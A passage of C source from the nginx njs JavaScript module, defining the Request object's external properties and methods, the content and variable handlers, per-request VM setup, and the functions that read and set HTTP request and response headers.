NULL, /* init thread */\n NULL, /* exit thread */\n NULL, /* exit process */\n NULL, /* exit master */\n NGX_MODULE_V1_PADDING\n};\n\n\nstatic njs_external_t ngx_http_js_ext_request[] = {\n\n {\n .flags = NJS_EXTERN_PROPERTY | NJS_EXTERN_SYMBOL,\n .name.symbol = NJS_SYMBOL_TO_STRING_TAG,\n .u.property = {\n .value = \"Request\",\n }\n },\n\n {\n .flags = NJS_EXTERN_PROPERTY,\n .name.string = njs_str(\"uri\"),\n .enumerable = 1,\n .u.property = {\n .handler = ngx_http_js_ext_get_string,\n .magic32 = offsetof(ngx_http_request_t, uri),\n }\n },\n\n {\n .flags = NJS_EXTERN_PROPERTY,\n .name.string = njs_str(\"method\"),\n .enumerable = 1,\n .u.property = {\n .handler = ngx_http_js_ext_get_string,\n .magic32 = offsetof(ngx_http_request_t, method_name),\n }\n },\n\n {\n .flags = NJS_EXTERN_PROPERTY,\n .name.string = njs_str(\"httpVersion\"),\n .enumerable = 1,\n .u.property = {\n .handler = ngx_http_js_ext_get_http_version,\n }\n },\n\n {\n .flags = NJS_EXTERN_PROPERTY,\n .name.string = njs_str(\"remoteAddress\"),\n .enumerable = 1,\n .u.property = {\n .handler = ngx_http_js_ext_get_remote_address,\n }\n },\n\n {\n .flags = NJS_EXTERN_PROPERTY,\n .name.string = njs_str(\"requestBody\"),\n .enumerable = 1,\n .u.property = {\n .handler = ngx_http_js_ext_get_request_body,\n }\n },\n\n {\n .flags = NJS_EXTERN_PROPERTY,\n .name.string = njs_str(\"parent\"),\n .u.property = {\n .handler = ngx_http_js_ext_get_parent,\n }\n },\n\n {\n .flags = NJS_EXTERN_PROPERTY,\n .name.string = njs_str(\"responseBody\"),\n .enumerable = 1,\n .u.property = {\n .handler = ngx_http_js_ext_get_response_body,\n }\n },\n\n {\n .flags = NJS_EXTERN_OBJECT,\n .name.string = njs_str(\"headersIn\"),\n .enumerable = 1,\n .u.object = {\n .enumerable = 1,\n .prop_handler = ngx_http_js_ext_header_in,\n .keys = ngx_http_js_ext_keys_header_in,\n }\n },\n\n {\n .flags = NJS_EXTERN_PROPERTY,\n .name.string = njs_str(\"rawHeadersIn\"),\n .u.property = {\n .handler = ngx_http_js_ext_raw_header,\n .magic32 = 0,\n }\n },\n\n {\n .flags = NJS_EXTERN_OBJECT,\n .name.string = njs_str(\"args\"),\n .enumerable = 1,\n .u.object = {\n .enumerable = 1,\n .prop_handler = ngx_http_js_ext_get_arg,\n .keys = ngx_http_js_ext_keys_arg,\n }\n },\n\n {\n .flags = NJS_EXTERN_OBJECT,\n .name.string = njs_str(\"variables\"),\n .u.object = {\n .writable = 1,\n .prop_handler = ngx_http_js_ext_variables,\n }\n },\n\n {\n .flags = NJS_EXTERN_PROPERTY,\n .name.string = njs_str(\"status\"),\n .writable = 1,\n .enumerable = 1,\n .u.property = {\n .handler = ngx_http_js_ext_status,\n }\n },\n\n {\n .flags = NJS_EXTERN_OBJECT,\n .name.string = njs_str(\"headersOut\"),\n .enumerable = 1,\n .u.object = {\n .writable = 1,\n .configurable = 1,\n .enumerable = 1,\n .prop_handler = ngx_http_js_ext_header_out,\n .keys = ngx_http_js_ext_keys_header_out,\n }\n },\n\n {\n .flags = NJS_EXTERN_PROPERTY,\n .name.string = njs_str(\"rawHeadersOut\"),\n .u.property = {\n .handler = ngx_http_js_ext_raw_header,\n .magic32 = 1,\n }\n },\n\n {\n .flags = NJS_EXTERN_METHOD,\n .name.string = njs_str(\"subrequest\"),\n .writable = 1,\n .configurable = 1,\n .enumerable = 1,\n .u.method = {\n .native = ngx_http_js_ext_subrequest,\n }\n },\n\n {\n .flags = NJS_EXTERN_METHOD,\n .name.string = njs_str(\"log\"),\n .writable = 1,\n .configurable = 1,\n .enumerable = 1,\n .u.method = {\n .native = ngx_http_js_ext_log,\n .magic8 = NGX_LOG_INFO,\n }\n },\n\n {\n .flags = NJS_EXTERN_METHOD,\n .name.string = njs_str(\"warn\"),\n .writable = 1,\n .configurable = 1,\n .enumerable = 1,\n .u.method = {\n .native = ngx_http_js_ext_log,\n .magic8 = NGX_LOG_WARN,\n }\n },\n\n {\n .flags = NJS_EXTERN_METHOD,\n .name.string = njs_str(\"error\"),\n .writable = 1,\n .configurable = 1,\n .enumerable = 1,\n .u.method = {\n .native = ngx_http_js_ext_log,\n .magic8 = NGX_LOG_ERR,\n }\n },\n\n {\n .flags = NJS_EXTERN_METHOD,\n .name.string = njs_str(\"sendHeader\"),\n .writable = 1,\n .configurable = 1,\n .enumerable = 1,\n .u.method = {\n .native = ngx_http_js_ext_send_header,\n }\n },\n\n {\n .flags = NJS_EXTERN_METHOD,\n .name.string = njs_str(\"send\"),\n .writable = 1,\n .configurable = 1,\n .enumerable = 1,\n .u.method = {\n .native = ngx_http_js_ext_send,\n }\n },\n\n {\n .flags = NJS_EXTERN_METHOD,\n .name.string = njs_str(\"finish\"),\n .writable = 1,\n .configurable = 1,\n .enumerable = 1,\n .u.method = {\n .native = ngx_http_js_ext_finish,\n }\n },\n\n {\n .flags = NJS_EXTERN_METHOD,\n .name.string = njs_str(\"return\"),\n .writable = 1,\n .configurable = 1,\n .enumerable = 1,\n .u.method = {\n .native = ngx_http_js_ext_return,\n }\n },\n\n {\n .flags = NJS_EXTERN_METHOD,\n .name.string = njs_str(\"internalRedirect\"),\n .writable = 1,\n .configurable = 1,\n .enumerable = 1,\n .u.method = {\n .native = ngx_http_js_ext_internal_redirect,\n }\n },\n\n};\n\n\nstatic njs_vm_ops_t ngx_http_js_ops = {\n ngx_http_js_set_timer,\n ngx_http_js_clear_timer\n};\n\n\nstatic ngx_int_t\nngx_http_js_content_handler(ngx_http_request_t *r)\n{\n ngx_int_t rc;\n\n ngx_log_debug0(NGX_LOG_DEBUG_HTTP, r->connection->log, 0,\n \"http js content handler\");\n\n rc = ngx_http_read_client_request_body(r,\n ngx_http_js_content_event_handler);\n\n if (rc >= NGX_HTTP_SPECIAL_RESPONSE) {\n return rc;\n }\n\n return NGX_DONE;\n}\n\n\nstatic void\nngx_http_js_content_event_handler(ngx_http_request_t *r)\n{\n ngx_int_t rc;\n njs_str_t name, exception;\n njs_function_t *func;\n ngx_http_js_ctx_t *ctx;\n ngx_http_js_loc_conf_t *jlcf;\n\n ngx_log_debug0(NGX_LOG_DEBUG_HTTP, r->connection->log, 0,\n \"http js content event handler\");\n\n rc = ngx_http_js_init_vm(r);\n\n if (rc == NGX_ERROR || rc == NGX_DECLINED) {\n ngx_http_finalize_request(r, NGX_HTTP_INTERNAL_SERVER_ERROR);\n return;\n }\n\n jlcf = ngx_http_get_module_loc_conf(r, ngx_http_js_module);\n\n ngx_log_debug1(NGX_LOG_DEBUG_HTTP, r->connection->log, 0,\n \"http js content call \\\"%V\\\"\" , &jlcf->content);\n\n ctx = ngx_http_get_module_ctx(r, ngx_http_js_module);\n\n name.start = jlcf->content.data;\n name.length = jlcf->content.len;\n\n func = njs_vm_function(ctx->vm, &name);\n if (func == NULL) {\n ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,\n \"js function \\\"%V\\\" not found\", &jlcf->content);\n ngx_http_finalize_request(r, NGX_HTTP_INTERNAL_SERVER_ERROR);\n return;\n }\n\n /*\n * status is expected to be overriden by finish(), return() or\n * internalRedirect() methods, otherwise the content handler is\n * considered invalid.\n */\n\n ctx->status = NGX_HTTP_INTERNAL_SERVER_ERROR;\n\n if (njs_vm_call(ctx->vm, func, njs_value_arg(&ctx->request), 1) != NJS_OK) {\n njs_vm_retval_string(ctx->vm, &exception);\n\n ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,\n \"js exception: %*s\", exception.length, exception.start);\n\n ngx_http_finalize_request(r, NGX_HTTP_INTERNAL_SERVER_ERROR);\n return;\n }\n\n if (njs_vm_pending(ctx->vm)) {\n r->write_event_handler = ngx_http_js_content_write_event_handler;\n return;\n }\n\n ngx_http_js_content_finalize(r, ctx);\n}\n\n\nstatic void\nngx_http_js_content_write_event_handler(ngx_http_request_t *r)\n{\n ngx_event_t *wev;\n ngx_connection_t *c;\n ngx_http_js_ctx_t *ctx;\n ngx_http_core_loc_conf_t *clcf;\n\n ngx_log_debug0(NGX_LOG_DEBUG_HTTP, r->connection->log, 0,\n \"http js content write event handler\");\n\n ctx = ngx_http_get_module_ctx(r, ngx_http_js_module);\n\n if (!njs_vm_pending(ctx->vm)) {\n ngx_http_js_content_finalize(r, ctx);\n return;\n }\n\n c = r->connection;\n wev = c->write;\n\n if (wev->timedout) {\n ngx_connection_error(c, NGX_ETIMEDOUT, \"client timed out\");\n ngx_http_finalize_request(r, NGX_HTTP_REQUEST_TIME_OUT);\n return;\n }\n\n if (ngx_http_output_filter(r, NULL) == NGX_ERROR) {\n ngx_http_finalize_request(r, NGX_ERROR);\n return;\n }\n\n clcf = ngx_http_get_module_loc_conf(r->main, ngx_http_core_module);\n\n if (ngx_handle_write_event(wev, clcf->send_lowat) != NGX_OK) {\n ngx_http_finalize_request(r, NGX_ERROR);\n return;\n }\n\n if (!wev->delayed) {\n if (wev->active && !wev->ready) {\n ngx_add_timer(wev, clcf->send_timeout);\n\n } else if (wev->timer_set) {\n ngx_del_timer(wev);\n }\n }\n}\n\n\nstatic void\nngx_http_js_content_finalize(ngx_http_request_t *r, ngx_http_js_ctx_t *ctx)\n{\n ngx_str_t args;\n\n ngx_log_debug1(NGX_LOG_DEBUG_HTTP, r->connection->log, 0,\n \"http js content rc: %i\", ctx->status);\n\n if (ctx->redirect_uri.len) {\n if (ctx->redirect_uri.data[0] == '@') {\n ngx_http_named_location(r, &ctx->redirect_uri);\n\n } else {\n ngx_http_split_args(r, &ctx->redirect_uri, &args);\n ngx_http_internal_redirect(r, &ctx->redirect_uri, &args);\n }\n }\n\n ngx_http_finalize_request(r, ctx->status);\n}\n\n\nstatic ngx_int_t\nngx_http_js_variable(ngx_http_request_t *r, ngx_http_variable_value_t *v,\n uintptr_t data)\n{\n ngx_str_t *fname = (ngx_str_t *) data;\n\n ngx_int_t rc;\n njs_int_t pending;\n njs_str_t name, value, exception;\n njs_function_t *func;\n ngx_http_js_ctx_t *ctx;\n\n rc = ngx_http_js_init_vm(r);\n\n if (rc == NGX_ERROR) {\n return NGX_ERROR;\n }\n\n if (rc == NGX_DECLINED) {\n v->not_found = 1;\n return NGX_OK;\n }\n\n ngx_log_debug1(NGX_LOG_DEBUG_HTTP, r->connection->log, 0,\n \"http js variable call \\\"%V\\\"\", fname);\n\n ctx = ngx_http_get_module_ctx(r, ngx_http_js_module);\n\n name.start = fname->data;\n name.length = fname->len;\n\n func = njs_vm_function(ctx->vm, &name);\n if (func == NULL) {\n ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,\n \"js function \\\"%V\\\" not found\", fname);\n v->not_found = 1;\n return NGX_OK;\n }\n\n pending = njs_vm_pending(ctx->vm);\n\n if (njs_vm_call(ctx->vm, func, njs_value_arg(&ctx->request), 1) != NJS_OK) {\n njs_vm_retval_string(ctx->vm, &exception);\n\n ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,\n \"js exception: %*s\", exception.length, exception.start);\n\n v->not_found = 1;\n return NGX_OK;\n }\n\n if (njs_vm_retval_string(ctx->vm, &value) != NJS_OK) {\n return NGX_ERROR;\n }\n\n if (!pending && njs_vm_pending(ctx->vm)) {\n ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,\n \"async operation inside \\\"%V\\\" variable handler\", fname);\n return NGX_ERROR;\n }\n\n v->len = value.length;\n v->valid = 1;\n v->no_cacheable = 0;\n v->not_found = 0;\n v->data = value.start;\n\n return NGX_OK;\n}\n\n\nstatic ngx_int_t\nngx_http_js_init_vm(ngx_http_request_t *r)\n{\n njs_int_t rc;\n njs_str_t exception;\n ngx_http_js_ctx_t *ctx;\n ngx_pool_cleanup_t *cln;\n ngx_http_js_main_conf_t *jmcf;\n\n jmcf = ngx_http_get_module_main_conf(r, ngx_http_js_module);\n if (jmcf->vm == NULL) {\n return NGX_DECLINED;\n }\n\n ctx = ngx_http_get_module_ctx(r, ngx_http_js_module);\n\n if (ctx == NULL) {\n ctx = ngx_pcalloc(r->pool, sizeof(ngx_http_js_ctx_t));\n if (ctx == NULL) {\n return NGX_ERROR;\n }\n\n ngx_http_set_ctx(r, ctx, ngx_http_js_module);\n }\n\n if (ctx->vm) {\n return NGX_OK;\n }\n\n ctx->vm = njs_vm_clone(jmcf->vm, r);\n if (ctx->vm == NULL) {\n return NGX_ERROR;\n }\n\n cln = ngx_pool_cleanup_add(r->pool, 0);\n if (cln == NULL) {\n return NGX_ERROR;\n }\n\n ctx->log = r->connection->log;\n\n cln->handler = ngx_http_js_cleanup_ctx;\n cln->data = ctx;\n\n if (njs_vm_start(ctx->vm) == NJS_ERROR) {\n njs_vm_retval_string(ctx->vm, &exception);\n\n ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,\n \"js exception: %*s\", exception.length, exception.start);\n\n return NGX_ERROR;\n }\n\n rc = njs_vm_external_create(ctx->vm, njs_value_arg(&ctx->request),\n jmcf->req_proto, r, 0);\n if (rc != NJS_OK) {\n return NGX_ERROR;\n }\n\n return NGX_OK;\n}\n\n\nstatic void\nngx_http_js_cleanup_ctx(void *data)\n{\n ngx_http_js_ctx_t *ctx = data;\n\n if (njs_vm_pending(ctx->vm)) {\n ngx_log_error(NGX_LOG_ERR, ctx->log, 0, \"pending events\");\n }\n\n njs_vm_destroy(ctx->vm);\n}\n\n\nstatic void\nngx_http_js_cleanup_vm(void *data)\n{\n njs_vm_t *vm = data;\n\n njs_vm_destroy(vm);\n}\n\n\nstatic njs_int_t\nngx_http_js_ext_get_string(njs_vm_t *vm, njs_object_prop_t *prop,\n njs_value_t *value, njs_value_t *setval, njs_value_t *retval)\n{\n char *p;\n ngx_str_t *field;\n\n p = njs_vm_external(vm, value);\n if (p == NULL) {\n njs_value_undefined_set(retval);\n return NJS_DECLINED;\n }\n\n field = (ngx_str_t *) (p + njs_vm_prop_magic32(prop));\n\n return njs_vm_value_string_set(vm, retval, field->data, field->len);\n}\n\n\nstatic njs_int_t\nngx_http_js_ext_keys_header(njs_vm_t *vm, njs_value_t *value, njs_value_t *keys,\n ngx_list_t *headers)\n{\n int64_t i, length;\n njs_int_t rc;\n njs_str_t hdr;\n ngx_uint_t item;\n njs_value_t *start;\n ngx_list_part_t *part;\n ngx_table_elt_t *header, *h;\n\n part = &headers->part;\n item = 0;\n length = 0;\n\n while (part) {\n if (item >= part->nelts) {\n part = part->next;\n item = 0;\n continue;\n }\n\n header = part->elts;\n h = &header[item++];\n\n if (h->hash == 0) {\n continue;\n }\n\n start = njs_vm_array_start(vm, keys);\n\n for (i = 0; i < length; i++) {\n njs_value_string_get(njs_argument(start, i), &hdr);\n\n if (h->key.len == hdr.length\n && ngx_strncasecmp(h->key.data, hdr.start, hdr.length) == 0)\n {\n break;\n }\n }\n\n if (i == length) {\n value = njs_vm_array_push(vm, keys);\n if (value == NULL) {\n return NJS_ERROR;\n }\n\n rc = njs_vm_value_string_set(vm, value, h->key.data, h->key.len);\n if (rc != NJS_OK) {\n return NJS_ERROR;\n }\n\n length++;\n }\n }\n\n return NJS_OK;\n}\n\n\nstatic ngx_table_elt_t *\nngx_http_js_get_header(ngx_list_part_t *part, u_char *data, size_t len)\n{\n ngx_uint_t i;\n ngx_table_elt_t *header, *h;\n\n header = part->elts;\n\n for (i = 0; /* void */ ; i++) {\n\n if (i >= part->nelts) {\n if (part->next == NULL) {\n break;\n }\n\n part = part->next;\n header = part->elts;\n i = 0;\n }\n\n h = &header[i];\n\n if (h->hash == 0) {\n continue;\n }\n\n if (h->key.len == len && ngx_strncasecmp(h->key.data, data, len) == 0) {\n return h;\n }\n }\n\n return NULL;\n}\n\n\nstatic njs_int_t\nngx_http_js_ext_raw_header(njs_vm_t *vm, njs_object_prop_t *prop,\n njs_value_t *value, njs_value_t *setval, njs_value_t *retval)\n{\n njs_int_t rc;\n ngx_uint_t i;\n njs_value_t *array, *elem;\n ngx_list_part_t *part;\n ngx_list_t *headers;\n ngx_table_elt_t *header, *h;\n ngx_http_request_t *r;\n\n r = njs_vm_external(vm, value);\n if (r == NULL) {\n njs_value_undefined_set(retval);\n return NJS_DECLINED;\n }\n\n headers = (njs_vm_prop_magic32(prop) == 1) ? &r->headers_out.headers\n : &r->headers_in.headers;\n\n rc = njs_vm_array_alloc(vm, retval, 8);\n if (rc != NJS_OK) {\n return NJS_ERROR;\n }\n\n part = &headers->part;\n header = part->elts;\n\n for (i = 0; /* void */ ; i++) {\n\n if (i >= part->nelts) {\n if (part->next == NULL) {\n break;\n }\n\n part = part->next;\n header = part->elts;\n i = 0;\n }\n\n h = &header[i];\n\n if (h->hash == 0) {\n continue;\n }\n\n array = njs_vm_array_push(vm, retval);\n if (array == NULL) {\n return NJS_ERROR;\n }\n\n rc = njs_vm_array_alloc(vm, array, 2);\n if (rc != NJS_OK) {\n return NJS_ERROR;\n }\n\n elem = njs_vm_array_push(vm, array);\n if (elem == NULL) {\n return NJS_ERROR;\n }\n\n rc = njs_vm_value_string_set(vm, elem, h->key.data, h->key.len);\n if (rc != NJS_OK) {\n return NJS_ERROR;\n }\n\n elem = njs_vm_array_push(vm, array);\n if (elem == NULL) {\n return NJS_ERROR;\n }\n\n rc = njs_vm_value_string_set(vm, elem, h->value.data, h->value.len);\n if (rc != NJS_OK) {\n return NJS_ERROR;\n }\n }\n\n return NJS_OK;\n}\n\n\nstatic njs_int_t\nngx_http_js_ext_header_out(njs_vm_t *vm, njs_object_prop_t *prop,\n njs_value_t *value, njs_value_t *setval, njs_value_t *retval)\n{\n njs_int_t rc;\n njs_str_t name;\n ngx_http_request_t *r;\n ngx_http_js_header_t *h;\n\n static ngx_http_js_header_t headers_out[] = {\n { njs_str(\"Age\"), ngx_http_js_header_single },\n { njs_str(\"Content-Type\"), ngx_http_js_content_type },\n { njs_str(\"Content-Length\"), ngx_http_js_content_length },\n { njs_str(\"Content-Encoding\"), ngx_http_js_content_encoding },\n { njs_str(\"Etag\"), ngx_http_js_header_single },\n { njs_str(\"Expires\"), ngx_http_js_header_single },\n { njs_str(\"Last-Modified\"), ngx_http_js_header_single },\n { njs_str(\"Location\"), ngx_http_js_header_single },\n { njs_str(\"Set-Cookie\"), ngx_http_js_header_array },\n { njs_str(\"Retry-After\"), ngx_http_js_header_single },\n { njs_str(\"\"), ngx_http_js_header_generic },\n };\n\n r = njs_vm_external(vm, value);\n if (r == NULL) {\n if (retval != NULL) {\n njs_value_undefined_set(retval);\n }\n\n return NJS_DECLINED;\n }\n\n rc = njs_vm_prop_name(vm, prop, &name);\n if (rc != NJS_OK) {\n if (retval != NULL) {\n njs_value_undefined_set(retval);\n }\n\n return NJS_DECLINED;\n }\n\n for (h = headers_out; h->name.length > 0; h++) {\n if (h->name.length == name.length\n && ngx_strncasecmp(h->name.start, name.start, name.length) == 0)\n {\n break;\n }\n }\n\n return h->handler(vm, r, &r->headers_out.headers, &name, setval, retval);\n}\n\n\nstatic njs_int_t\nngx_http_js_header_single(njs_vm_t *vm, ngx_http_request_t *r,\n ngx_list_t *headers, njs_str_t *name, njs_value_t *setval,\n njs_value_t *retval)\n{\n njs_int_t rc;\n ngx_table_elt_t *h;\n\n if (retval != NULL && setval == NULL) {\n h = ngx_http_js_get_header(&headers->part, name->start, name->length);\n if (h == NULL) {\n njs_value_undefined_set(retval);\n return NJS_DECLINED;\n }\n\n rc = njs_vm_value_string_set(vm, retval, h->value.data, h->value.len);\n if (rc != NJS_OK) {\n return NJS_ERROR;\n }\n\n return NJS_OK;\n }\n\n return ngx_http_js_header_generic(vm, r, headers, name, setval, retval);\n}\n\n\nstatic njs_int_t\nngx_http_js_header_out_special(njs_vm_t *vm, ngx_http_request_t *r,\n njs_str_t *v, njs_value_t *setval, njs_value_t *retval,\n ngx_table_elt_t **hh)\n{\n u_char *p;\n int64_t length;\n njs_int_t rc;\n njs_str_t s;\n ngx_list_t *headers;\n ngx_table_elt_t *h;\n njs_opaque_value_t lvalue;\n\n headers = &r->headers_out.headers;\n\n if (retval != NULL && setval == NULL) {\n return ngx_http_js_header_single(vm, r, headers, v, setval, retval);\n }\n\n if (setval != NULL && njs_value_is_array(setval)) {\n rc = njs_vm_array_length(vm, setval, &length);\n if (rc != NJS_OK) {\n return NJS_ERROR;\n }\n\n setval = njs_vm_array_prop(vm, setval, length - 1, &lvalue);\n }\n\n rc = ngx_http_js_string(vm, setval, &s);\n if (rc != NJS_OK) {\n return NJS_ERROR;\n }\n\n h = ngx_http_js_get_header(&headers->part, v->start, v->length);\n\n if (h != NULL && s.length == 0) {\n h->hash = 0;\n h = NULL;\n }\n\n if (h == NULL && s.length != 0) {\n h = ngx_list_push(headers);\n if (h == NULL) {\n return NJS_ERROR;\n }\n\n p = ngx_pnalloc(r->pool, v->length);\n if (p == NULL) {\n return NJS_ERROR;\n }\n\n ngx_memcpy(p, v->start, v->length);\n\n h->key.data = p;\n h->key.len = v->length;\n }\n\n if (h != NULL) {\n p = ngx_pnalloc(r->pool, s.length);\n if (p == NULL) {\n return NJS_ERROR;\n }\n\n ngx_memcpy(p, s.start, s.length);\n\n h->value.data = p;\n h->value.len = s.length;\n h->hash = 1;\n }\n\n if (hh != NULL) {\n *hh = h;\n }\n\n return NJS_OK;\n}\n\n\nstatic njs_int_t\nngx_http_js_header_array(njs_vm_t *vm, ngx_http_request_t *r,\n ngx_list_t *headers, njs_str_t *name, njs_value_t *setval,\n njs_value_t *retval)\n{\n size_t len;\n u_char *data;\n njs_int_t rc;\n ngx_uint_t i;\n njs_value_t *value;\n ngx_list_part_t *part;\n ngx_table_elt_t *header, *h;\n\n if (retval != NULL && setval == NULL) {\n rc = njs_vm_array_alloc(vm, retval, 4);\n if (rc != NJS_OK) {\n return NJS_ERROR;\n }\n\n len = name->length;\n data = name->start;\n\n part = &headers->part;\n header = part->elts;\n\n for (i = 0; /* void */ ; i++) {\n\n if (i >= part->nelts) {\n if (part->next == NULL) {\n break;\n }\n\n part = part->next;\n header = part->elts;\n i = 0;\n }\n\n h = &header[i];\n\n if (h->hash == 0\n || h->key.len != len\n || ngx_strncasecmp(h->key.data, data, len) != 0)\n {\n continue;\n }\n\n value = njs_vm_array_push(vm, retval);\n if (value == NULL) {\n return NJS_ERROR;\n }\n\n rc = njs_vm_value_string_set(vm, value, h->value.data,\n h->value.len);\n if (rc != NJS_OK) {\n return NJS_ERROR;\n }\n }\n\n return NJS_OK;\n }\n\n return ngx_http_js_header_generic(vm, r, headers, name, setval, retval);\n}\n\n\nstatic njs_int_t\nngx_http_js_header_generic(njs_vm_t *vm, ngx_http_request_t *r,\n ngx_list_t *headers, njs_str_t *name, njs_value_t *setval,\n njs_value_t *retval)\n{\n u_char *data, *p, *start, *end;\n size_t len;\n int64_t length;\n njs_value_t *array;\n njs_int_t rc;\n njs_str_t s;\n ngx_uint_t i;\n ngx_list_part_t *part;\n ngx_table_elt_t *header, *h;\n njs_opaque_value_t lvalue;\n\n part = &headers->part;\n\n if (retval != NULL && setval == NULL) {\n header = part->elts;\n\n p = NULL;\n start = NULL;\n end = NULL;\n\n for (i = 0; /* void */ ; i++) {\n\n if (i >= part->nelts) {\n if (part->next == NULL) {\n break;\n }\n\n part = part->next;\n header = part->elts;\n i = 0;\n }\n\n h = &header[i];\n\n if (h->hash == 0\n || h->key.len != name->length\n || ngx_strncasecmp(h->key.data, name->start, name->length) != 0)\n {\n continue;\n }\n\n if (p == NULL) {\n start = h->value.data;\n end = h->value.data + h->value.len;\n p = end;\n continue;\n }\n\n if (p + h->value.len + 1 > end) {\n len = njs_max(p + h->value.len + 1 - start, 2 * (end - start));\n\n data = ngx_pnalloc(r->pool, len);\n if (data == NULL) {\n return NJS_ERROR;\n }\n\n p = ngx_cpymem(data, start, p - start);\n start = data;\n end = data + len;\n }\n\n *p++ = ',';\n p = ngx_cpymem(p, h->value.data, h->value.len);\n }\n\n if (p == NULL) {\n njs_value_undefined_set(retval);\n return NJS_DECLINED;\n }\n\n return njs_vm_value_string_set(vm, retval, start, p - start);\n }\n\n header = part->elts;\n\n for (i = 0; /* void */ ; i++) {\n\n if (i >= part->nelts) {\n if (part->next == NULL) {\n break;\n }\n\n part = part->next;\n header = part->elts;\n i = 0;\n }\n\n h = &header[i];\n\n if (h->hash == 0\n || h->key.len != name->length\n || ngx_strncasecmp(h->key.data, name->start, name->length) != 0)\n {\n continue;\n }\n\n h->hash = 0;\n }\n\n if (retval == NULL) {\n return NJS_OK;\n }\n\n if (njs_value_is_array(setval)) {\n array = setval;\n\n rc = njs_vm_array_length(vm, array, &length);\n if (rc != NJS_OK) {\n return NJS_ERROR;\n }\n\n if (length == 0) {\n return NJS_OK;\n }\n\n } else {\n array = NULL;\n length = 1;\n }\n\n for (i = 0; i < (ngx_uint_t) length; i++) {\n if (array != NULL) {\n setval = njs_vm_array_prop(vm, array, i, &lvalue);\n }\n\n rc = ngx_http_js_string(vm, setval, &s);\n if (rc != NJS_OK) {\n return NJS_ERROR;\n }\n\n if (s.length == 0) {\n continue;\n }\n\n h = ngx_list_push(headers);\n if (h == NULL) {\n return NJS_ERROR;\n }\n\n p = ngx_pnalloc(r->pool, name->length);\n if (p == NULL) {\n return NJS_ERROR;\n }\n\n ngx_memcpy(p, name->start, name->length);\n\n h->key.data = p;\n h->key.len = name->length;\n\n p = ngx_pnalloc(r->pool, s.length);\n if (p == NULL) {\n return NJS_ERROR;\n }\n\n ngx_memcpy(p, s.start, s.length);\n\n h->value.data = p;\n h->value.len = s.length;\n h->hash = 1;\n }\n\n return NJS_OK;\n}\n\n\nstatic njs_int_t\nngx_http_js_content_encoding(njs_vm_t *vm, ngx_http_request_t *r,\n ngx_list_t *headers, njs_str_t *v, njs_value_t *setval, njs_value_t *retval)\n{\n njs_int_t rc;\n ngx_table_elt_t *h;\n\n rc = ngx_http_js_header_out_special(vm, r, v, setval, retval, &h);\n if (rc != NJS_OK) {\n return NJS_ERROR;\n }\n\n if (setval != NULL || retval == NULL) {\n r->headers_out.content_encoding = h;\n }\n\n return NJS_OK;\n}\n\n\nstatic njs_int_t\nngx_http_js_content_length(njs_vm_t *vm, ngx_http_request_t *r,\n ngx_list_t *headers, njs_str_t *v, njs_value_t *setval, njs_value_t *retval)\n{\n u_char *p, *start;\n njs_int_t rc;\n ngx_int_t n;\n ngx_table_elt_t *h;\n u_char content_len[NGX_OFF_T_LEN];\n\n if (retval != NULL && setval == NULL) {\n if (r->headers_out.content_length == NULL\n && r->headers_out.content_length_n >= 0)\n {\n p = ngx_sprintf(content_len, \"%O\", r->headers_out.content_length_n);\n\n start = njs_vm_value_string_alloc(vm, retval, p - content_len);\n if (start == NULL) {\n return NJS_ERROR;\n }\n\n ngx_memcpy(start, content_len, p - content_len);\n\n return NJS_OK;\n }\n }\n\n rc = ngx_http_js_header_out_special(vm, r, v, setval, retval, &h);\n if (rc != NJS_OK) {\n return NJS_ERROR;\n }\n\n if (setval != NULL || retval == NULL) {\n if (h != NULL) {\n n = ngx_atoi(h->value.data, h->value.len);\n if (n == NGX_ERROR) {\n h->hash = 0;\n njs_vm_error(vm, \"failed converting argument \"\n \"to positive integer\");\n return NJS_ERROR;\n }\n\n r->headers_out.content_length = h;\n r->headers_out.content_length_n = n;\n\n } else {\n ngx_http_clear_content_length(r);\n }\n }\n\n return NJS_OK;\n}\n\n\nstatic njs_int_t\nngx_http_js_content_type(njs_vm_t *vm, ngx_http_request_t *r,\n ngx_list_t *headers, njs_str_t *v, njs_value_t *setval, njs_value_t *retval)\n{\n int64_t length;\n njs_int_t rc;\n njs_str_t s;\n ngx_str_t *hdr;\n njs_opaque_value_t lvalue;\n\n if (retval != NULL && setval == NULL) {\n hdr = &r->headers_out.content_type;\n return njs_vm_value_string_set(vm, retval, hdr->data, hdr->len);\n }\n\n if (setval != NULL && njs_value_is_array(setval)) {\n rc = njs_vm_array_length(vm, setval, &length);\n if (rc != NJS_OK) {\n return NJS_ERROR;\n }\n\n setval = njs_vm_array_prop(vm, setval, length - 1, &lvalue);\n }\n\n rc = ngx_http_js_string(vm, setval, &s);\n if (rc != NJS_OK) {\n return NJS_ERROR;\n }\n\n r->headers_out.content_type.len = s.length;\n r->headers_out.content_type_len = r->headers_out.content_type.len;\n r->headers_out.content_type.data = s.start;\n r->headers_out.content_type_lowcase = NULL;\n\n return NJS_OK;\n}\n\n\nstatic njs_int_t\nngx_http_js_ext_keys_header_out(njs_vm_t *vm, njs_value_t *value,\n njs_value_t *keys)\n{\n njs_int_t rc;\n ngx_http_request_t *r;\n\n rc = njs_vm_array_alloc(vm, keys, 8);\n if (rc != NJS_OK) {\n return NJS_ERROR;\n }\n\n r = njs_vm_external(vm, value);\n if (r == NULL) {\n return NJS_OK;\n }\n\n if (r->headers_out.content_type.len) {\n value = njs_vm_array_push(vm, keys);\n if (value == NULL) {\n return NJS_ERROR;\n }\n\n rc = njs_vm_value_string_set(vm, value, (u_char *) \"Content-Type\",\n njs_length(\"Content-Type\"));\n if (rc != NJS_OK) {\n return NJS_ERROR;\n }\n }\n\n if (r->headers_out.content_length == NULL\n && r->headers_out.content_length_n >= 0)\n {\n value = njs_vm_array_push(vm, keys);\n if (value == NULL) {\n return NJS_ERROR;\n }\n\n rc = njs_vm_value_string_set(vm, value, (u_char *) \"Content-Length\",\n njs_length(\"Content-Length\"));\n if (rc != NJS_OK) {\n return NJS_ERROR;\n }\n }\n\n return ngx_http_js_ext_keys_header(vm, value, keys,\n &r->headers_out.headers);\n}\n\n\nstatic njs_int_t\nngx_http_js_ext_status(njs_vm_t *vm, njs_object_prop_t *prop,\n njs_value_t *value, njs_value_t *setval, njs_value_t *retval)\n{\n njs_int_t rc;\n ngx_int_t n;\n njs_str_t s;\n 